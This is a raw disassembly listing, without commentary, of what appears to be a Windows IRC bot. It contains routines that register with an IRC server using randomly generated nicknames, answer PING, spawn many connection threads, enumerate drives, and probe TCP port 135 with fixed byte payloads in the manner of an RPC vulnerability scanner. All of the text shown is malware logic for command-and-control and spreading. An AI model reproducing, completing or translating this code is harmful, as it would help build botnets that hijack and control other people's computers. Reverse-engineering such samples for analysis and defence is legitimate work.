		add	esp, 14h
		jmp	short loc_415221
; ---------------------------------------------------------------------------


loc_4151ED:				; CODE XREF: sub_41517A+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_414FC5
		pop	ecx
		push	eax
		push	offset unk_44E7A8
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B910
		add	esp, 20h


loc_415221:				; CODE XREF: sub_41517A+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_41458A


loc_415244:				; DATA XREF: .nsp0:00451ED8o
					; .nsp0:00451EE0o
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41517A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41524C	proc near		; CODE XREF: sub_401CC1+2088p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_41526D
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41517A
		add	esp, 10h
		jmp	short loc_4152CE
; ---------------------------------------------------------------------------


loc_41526D:				; CODE XREF: sub_41524C+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4E0814
		lea	esi, [eax+2]
		push	esi
		call	sub_418ED0
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4E0814
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_4152C5


loc_415291:				; CODE XREF: sub_41524C+77j
		push	offset aA_3	; "A:\\"
		push	esi
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4152B4
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41517A
		add	esp, 10h


loc_4152B4:				; CODE XREF: sub_41524C+54j
		push	esi
		call	sub_418D00
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_415291


loc_4152C5:				; CODE XREF: sub_41524C+43j
		push	edi
		call	sub_419940
		pop	ecx
		pop	edi
		pop	esi


loc_4152CE:				; CODE XREF: sub_41524C+1Fj
		pop	ebx
		pop	ebp
		retn
sub_41524C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4152D1	proc near		; CODE XREF: sub_415497+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4E091C
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_41534D
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4E08A0
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4E08DC
		cmp	eax, esi
		jnz	short loc_415332
		push	[ebp+arg_0]
		call	dword_4E0920
		test	eax, eax
		jz	short loc_41534D
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_415332:				; CODE XREF: sub_4152D1+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4E084C
		cmp	eax, esi


loc_415344:				; DATA XREF: .nsp0:00452140o
		jnz	short loc_415351
		push	edi
		call	dword_4E0934


loc_41534D:				; CODE XREF: sub_4152D1+1Bj
					; sub_4152D1+58j
		mov	eax, esi
		jmp	short loc_415353
; ---------------------------------------------------------------------------


loc_415351:				; CODE XREF: sub_4152D1:loc_415344j
		mov	eax, edi


loc_415353:				; CODE XREF: sub_4152D1+7Ej
		pop	edi
		pop	esi

locret_415355:				; DATA XREF: .nsp0:0045232Co
		leave
		retn
sub_4152D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_415357	proc near		; CODE XREF: sub_401CC1+2CF6p
					; sub_401CC1+2D5Dp ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_44F464 ; "\n"
		push	edi
		call	sub_41C310
		pop	ecx
		mov	esi, offset dword_4E85B4
		pop	ecx


loc_41536F:				; CODE XREF: sub_415357+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_41538D
		cmp	dword ptr [esi], 0
		jbe	short loc_41538D
		push	0
		push	edi
		call	sub_418D00
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4E08EC


loc_41538D:				; CODE XREF: sub_415357+1Cj
					; sub_415357+21j
		add	esi, 210h
		cmp	esi, offset dword_4EECD4
		jl	short loc_41536F
		pop	edi
		pop	esi
		retn
sub_415357	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41539E	proc near		; CODE XREF: sub_415497+152p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		push	edi
		push	offset asc_44F468 ; " "
		push	[ebp+arg_0]
		call	sub_41C550
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	esi, [ebp+var_1C]
		push	7
		xor	ebx, ebx
		pop	edi


loc_4153C4:				; CODE XREF: sub_41539E+39j
		push	offset asc_44F46C ; " "
		push	ebx
		call	sub_41C550
		mov	[esi], eax
		pop	ecx
		add	esi, 4
		dec	edi
		pop	ecx
		jnz	short loc_4153C4
		cmp	[ebp+var_20], ebx
		mov	esi, [ebp+var_1C]
		jnz	short loc_4153ED
		cmp	esi, ebx
		jnz	short loc_4153ED
		push	1
		pop	eax
		jmp	loc_415492
; ---------------------------------------------------------------------------


loc_4153ED:				; CODE XREF: sub_41539E+41j
					; sub_41539E+45j
		push	[ebp+var_20]
		push	offset aPing_1	; "PING"
		call	sub_41C4C0
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_415417
		lea	eax, [ebp+var_220]
		push	offset aPongS_0	; "PONG	%s\n"
		push	eax
		call	sub_41B740
		add	esp, 0Ch
		jmp	short loc_415471
; ---------------------------------------------------------------------------


loc_415417:				; CODE XREF: sub_41539E+61j
		push	offset a433	; "433"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415438
		push	esi
		push	offset a432	; "432"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415490


loc_415438:				; CODE XREF: sub_41539E+87j
		push	200h
		lea	eax, [ebp+var_420]
		push	ebx
		push	eax
		call	sub_41B190
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_4156B7
		lea	eax, [ebp+var_420]
		push	eax
		lea	eax, [ebp+var_220]
		push	offset aNickS_8	; "NICK	%s\n"
		push	eax
		call	sub_41B740
		add	esp, 1Ch


loc_415471:				; CODE XREF: sub_41539E+77j
		lea	eax, [ebp+var_220]
		push	ebx
		push	eax
		call	sub_418D00
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E08EC


loc_415490:				; CODE XREF: sub_41539E+98j
		xor	eax, eax


loc_415492:				; CODE XREF: sub_41539E+4Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41539E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415497	proc near		; DATA XREF: sub_415639+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41BC60
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4E85BC[esi]
		mov	dword_4E85B0[esi], edi
		push	dword_4E87BC[esi]
		push	eax
		call	sub_4152D1
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4E85B4[esi], eax
		jb	loc_415619
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41B190
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_4156B7
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_4156B7
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_4156B7
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41B740
		add	esp, 2Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_418D00
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4E85B4[esi]
		call	dword_4E08EC
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B190
		add	esp, 0Ch


loc_415570:				; CODE XREF: sub_415497+10Ej
					; sub_415497+17Dj
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4E85B4[esi]
		call	dword_4E08B8
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_415619
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_415570


loc_4155A7:				; CODE XREF: sub_415497+17Bj
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_4155CE
		cmp	al, 0Ah
		jz	short loc_4155CE
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_4155CE
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_415608
; ---------------------------------------------------------------------------


loc_4155CE:				; CODE XREF: sub_415497+119j
					; sub_415497+11Dj ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_415608
		push	dword_4E85B4[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_41539E
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_415619
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_415608:				; CODE XREF: sub_415497+135j
					; sub_415497+13Cj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_4155A7
		jmp	loc_415570
; ---------------------------------------------------------------------------


loc_415619:				; CODE XREF: sub_415497+40j
					; sub_415497+104j ...
		mov	dword_4E85B0[esi], ebx
		mov	esi, dword_4E85B4[esi]
		cmp	esi, ebx
		jbe	short loc_415630
		push	esi
		call	dword_4E0934


loc_415630:				; CODE XREF: sub_415497+190j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_415497	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415639	proc near		; CODE XREF: sub_401CC1+2C4Bp

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_4156B2


loc_41564B:				; CODE XREF: sub_415639+77j
		xor	edi, edi
		mov	eax, offset dword_4E85B0


loc_415652:				; CODE XREF: sub_415639+28j
		cmp	[eax], ebx
		jz	short loc_415663
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4EECD0
		jl	short loc_415652


loc_415663:				; CODE XREF: sub_415639+1Bj
		cmp	edi, 31h
		jz	short loc_4156B2
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4E85BC[esi]
		push	eax
		call	sub_41C300
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4E87BC[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4E85B0[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_415497
		push	ebx
		push	ebx
		call	dword_4F1338	; CreateThread
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_41564B


loc_4156B2:				; CODE XREF: sub_415639+10j
					; sub_415639+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415639	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4156B7	proc near		; CODE XREF: sub_401CC1+3194p
					; sub_401CC1+31DBp ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		call	sub_41B850
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4374D8
		call	sub_41CEBC
		cmp	eax, 1
		jnz	short loc_415701
		call	sub_41B850
		call	sub_41B850
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_44EAE8[edx*4]
		jmp	short loc_41571A
; ---------------------------------------------------------------------------


loc_415701:				; CODE XREF: sub_4156B7+2Fj
		call	sub_41B850
		call	sub_41B850
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_44E7E8[edx*4]


loc_41571A:				; CODE XREF: sub_4156B7+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C300
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_418D00
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41B850
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4374D0
		call	sub_41CEBC
		mov	ebx, eax
		call	sub_41B850
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4374C8
		call	sub_41CEBC
		cmp	esi, 2
		mov	edi, offset a__2 ; "-|`_\\{[]}"
		jle	short loc_41578D
		cmp	esi, 3
		jnz	short loc_415784
		cmp	ebx, 1
		jz	short loc_41578D


loc_415784:				; CODE XREF: sub_4156B7+C6j
		cmp	eax, 1
		jnz	loc_415847


loc_41578D:				; CODE XREF: sub_4156B7+C1j
					; sub_4156B7+CBj
		call	sub_41B850
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4374C0
		call	sub_41CEBC
		push	off_44EAE8[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41C300
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41C400
		add	esp, 10h
		test	eax, eax
		jnz	short loc_415834
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41C400
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415834
		call	sub_41B850
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4374C8
		call	sub_41CEBC
		cmp	eax, 1
		jnz	short loc_415834
		push	edi
		call	sub_418D00
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41B850
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4374C8
		call	sub_41CEBC
		mov	al, byte ptr a__2[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_415834:				; CODE XREF: sub_4156B7+111j
					; sub_4156B7+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C7A0
		add	esp, 0Ch


loc_415847:				; CODE XREF: sub_4156B7+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_418D00
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41E170
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_415AAF
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41C400
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4159A6
		call	sub_41B850
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4374C8
		call	sub_41CEBC
		cmp	esi, 3
		jz	short loc_4158B5
		cmp	eax, 1
		jnz	loc_4159A6


loc_4158B5:				; CODE XREF: sub_4156B7+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_4158F7
		push	edi
		call	sub_418D00
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B850
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4374C8
		call	sub_41CEBC
		mov	al, byte ptr a__2[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_415913
; ---------------------------------------------------------------------------


loc_4158F7:				; CODE XREF: sub_4156B7+207j
		call	sub_41B850
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4374B8
		call	sub_41CEBC
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_415913:				; CODE XREF: sub_4156B7+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41B850
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4374B0
		call	sub_41CEBC
		cmp	esi, 3
		jz	short loc_41593C
		cmp	eax, ebx
		jnz	short loc_4159A6


loc_41593C:				; CODE XREF: sub_4156B7+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_415981
		push	edi
		call	sub_418D00
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B850
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4374C8
		call	sub_41CEBC
		mov	al, byte ptr a__2[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_41599F
; ---------------------------------------------------------------------------


loc_415981:				; CODE XREF: sub_4156B7+28Fj
		call	sub_41B850
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4374B8
		call	sub_41CEBC
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_41599F:				; CODE XREF: sub_4156B7+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi


loc_4159A6:				; CODE XREF: sub_4156B7+1C9j
					; sub_4156B7+1F8j ...
		cmp	esi, 6
		jge	loc_415A2F
		cmp	esi, 5
		jge	short loc_4159C7
		call	sub_41B850
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4374D0
		jmp	short loc_4159E5
; ---------------------------------------------------------------------------


loc_4159C7:				; CODE XREF: sub_4156B7+2FBj
		call	sub_41B850
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4374C8


loc_4159E5:				; CODE XREF: sub_4156B7+30Ej
		call	sub_41CEBC
		test	eax, eax
		jnz	short loc_415A08
		call	sub_41B850
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4374A8
		call	sub_41CEBC
		mov	cl, 30h
		jmp	short loc_415A25
; ---------------------------------------------------------------------------


loc_415A08:				; CODE XREF: sub_4156B7+335j
		cmp	eax, 1
		jnz	short loc_415A2F
		call	sub_41B850
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4374B8
		call	sub_41CEBC
		mov	cl, 41h


loc_415A25:				; CODE XREF: sub_4156B7+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_415A2F:				; CODE XREF: sub_4156B7+2F2j
					; sub_4156B7+354j
		cmp	[ebp+var_C], 2
		jge	short loc_415AAF
		call	sub_41B850
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4374C8
		call	sub_41CEBC
		cmp	eax, 1
		jnz	short loc_415AAF
		call	sub_41B850
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4374A8
		call	sub_41CEBC
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41B850
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4374A0
		call	sub_41CEBC
		cmp	eax, 1
		jnz	short loc_415AAF
		cmp	[ebp+var_C], eax
		jge	short loc_415AAF
		call	sub_41B850
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_437498
		call	sub_41CEBC
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_415AAF:				; CODE XREF: sub_4156B7+1B1j
					; sub_4156B7+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41B1F0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4156B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415AC8	proc near		; CODE XREF: .nsp0:00415C25p
					; .nsp0:00415C4Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_415AF6


loc_415AD9:				; CODE XREF: sub_415AC8+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41E490
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415AFC
		inc	esi
		cmp	esi, edi
		jl	short loc_415AD9


loc_415AF6:				; CODE XREF: sub_415AC8+Fj
		xor	al, al


loc_415AF8:				; CODE XREF: sub_415AC8+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_415AFC:				; CODE XREF: sub_415AC8+27j
		mov	al, 1
		jmp	short loc_415AF8
sub_415AC8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_41BC60
		mov	eax, [ebp+0Ch]
		push	esi
		dec	eax
		push	edi
		jz	short loc_415B41
		dec	eax
		jz	short loc_415B1F
		dec	eax


loc_415B19:				; CODE XREF: .nsp0:00415B57j
		xor	eax, eax


loc_415B1B:				; CODE XREF: .nsp0:00415B3Fj
					; .nsp0:00415C69j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_415B1F:				; CODE XREF: .nsp0:00415B16j
		push	3
		push	1388h
		push	dword ptr [ebp+8]
		call	dword_4E08DC
		push	eax
		call	sub_40B786
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_415B1B
; ---------------------------------------------------------------------------


loc_415B41:				; CODE XREF: .nsp0:00415B13j
		push	6
		push	1
		push	2
		call	dword_4E091C
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+0Ch], esi
		jz	short loc_415B19
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp-10h]
		push	ebx
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		mov	word ptr [ebp-10h], 2
		push	87h
		call	dword_4E08A0
		push	dword ptr [ebp+8]
		mov	[ebp-0Eh], ax
		call	sub_409EFD
		pop	ecx
		mov	[ebp-0Ch], eax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	esi
		call	dword_4E084C
		cmp	eax, edi
		jz	loc_415C5D
		push	ebx
		push	48h
		push	offset dword_44F4D4
		push	esi
		call	dword_4E08EC
		cmp	eax, edi
		jz	loc_415C5D
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp-2010h]
		push	esi
		push	eax
		push	dword ptr [ebp+0Ch]
		call	dword_4E08B8
		cmp	eax, edi
		jz	loc_415C5D
		cmp	byte ptr [ebp-200Eh], 0Ch
		jnz	short loc_415C5D
		push	ebx
		push	18h
		push	offset dword_44F520
		push	dword ptr [ebp+0Ch]
		call	dword_4E08EC
		cmp	eax, edi
		jz	short loc_415C5D
		push	ebx
		lea	eax, [ebp-2010h]
		push	esi
		push	eax
		push	dword ptr [ebp+0Ch]
		call	dword_4E08B8
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_415C5D
		cmp	byte ptr [ebp-200Eh], 2
		jnz	short loc_415C5D
		push	10h
		push	offset loc_44F53C
		lea	eax, [ebp-2010h]
		push	esi
		push	eax
		call	sub_415AC8
		add	esp, 10h
		test	al, al
		jz	short loc_415C3D
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_415C5D
; ---------------------------------------------------------------------------


loc_415C3D:				; CODE XREF: .nsp0:00415C2Fj
		push	10h
		push	offset dword_44F550
		lea	eax, [ebp-2010h]
		push	esi
		push	eax
		call	sub_415AC8
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_415C5D:				; CODE XREF: .nsp0:00415B9Bj
					; .nsp0:00415BB2j ...
		push	dword ptr [ebp+0Ch]
		call	dword_4E0934
		mov	eax, ebx
		pop	ebx
		jmp	loc_415B1B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C6E	proc near		; CODE XREF: sub_401CC1+932p
					; sub_401CC1+96Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_415CF9
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_415CF9
		cmp	[ebp+arg_8], esi
		jz	short loc_415CF9
		cmp	byte ptr [eax],	0
		jz	short loc_415CF9
		push	ebx
		push	edi
		call	sub_435BC0
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_415CF4
		push	[ebp+arg_4]
		push	edi
		call	sub_41B890
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_415CED
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41B1F0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_418D00
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41C7A0
		push	[ebp+arg_4]
		call	sub_418D00
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41C310
		push	ebx
		push	edi
		call	sub_41C300
		add	esp, 30h
		mov	esi, edi


loc_415CED:				; CODE XREF: sub_415C6E+3Cj
		push	ebx
		call	sub_419940
